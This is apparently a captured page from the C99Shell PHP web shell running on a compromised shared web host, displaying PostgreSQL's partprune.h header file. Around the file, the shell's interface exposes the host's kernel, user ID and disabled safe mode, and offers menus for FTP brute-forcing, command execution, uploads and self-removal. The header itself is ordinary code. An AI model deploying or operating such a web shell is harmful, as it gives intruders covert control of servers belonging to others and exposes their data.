!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/pgsql-11/include/server/partitioning/   drwxr-xr-x
Free 6181.6 GB of 6262.8 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     partprune.h (2.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * partprune.h
 *      prototypes for partprune.c
 *
 *
 * Portions Copyright (c) 1996-2018, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/partitioning/partprune.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef PARTPRUNE_H
#define PARTPRUNE_H

#include "nodes/execnodes.h"
#include "nodes/relation.h"


/*
 * PartitionPruneContext
 *        Stores information needed at runtime for pruning computations
 *        related to a single partitioned table.
 *
 * partrel            Relcache pointer for the partitioned table,
 *                    if we have it open (else NULL).
 * strategy            Partition strategy, e.g. LIST, RANGE, HASH.
 * partnatts        Number of columns in the partition key.
 * nparts            Number of partitions in this partitioned table.
 * boundinfo        Partition boundary info for the partitioned table.
 * partcollation    Array of partnatts elements, storing the collations of the
 *                    partition key columns.
 * partsupfunc        Array of FmgrInfos for the comparison or hashing functions
 *                    associated with the partition keys (partnatts elements).
 *                    (This points into the partrel's partition key, typically.)
 * stepcmpfuncs        Array of FmgrInfos for the comparison or hashing function
 *                    for each pruning step and partition key.
 * ppccontext        Memory context holding this PartitionPruneContext's
 *                    subsidiary data, such as the FmgrInfos.
 * planstate        Points to the parent plan node's PlanState when called
 *                    during execution; NULL when called from the planner.
 * exprstates        Array of ExprStates, indexed as per PruneCtxStateIdx; one
 *                    for each partition key in each pruning step.  Allocated if
 *                    planstate is non-NULL, otherwise NULL.
 */
typedef struct PartitionPruneContext
{
    Relation    partrel;
    char        strategy;
    int            partnatts;
    int            nparts;
    PartitionBoundInfo boundinfo;
    Oid           *partcollation;
    FmgrInfo   *partsupfunc;
    FmgrInfo   *stepcmpfuncs;
    MemoryContext ppccontext;
    PlanState  *planstate;
    ExprState **exprstates;
} PartitionPruneContext;

/*
 * PruneCxtStateIdx() computes the correct index into the stepcmpfuncs[],
 * exprstates[] and exprhasexecparam[] arrays for step step_id and
 * partition key column keyno.  (Note: there is code that assumes the
 * entries for a given step are sequential, so this is not chosen freely.)
 */
#define PruneCxtStateIdx(partnatts, step_id, keyno) \
    ((partnatts) * (step_id) + (keyno))

extern PartitionPruneInfo *make_partition_pruneinfo(PlannerInfo *root,
                         RelOptInfo *parentrel,
                         List *subpaths,
                         List *partitioned_rels,
                         List *prunequal);
extern Relids prune_append_rel_partitions(RelOptInfo *rel);
extern Bitmapset *get_matching_partitions(PartitionPruneContext *context,
                        List *pruning_steps);

#endif                            /* PARTPRUNE_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0114 ]--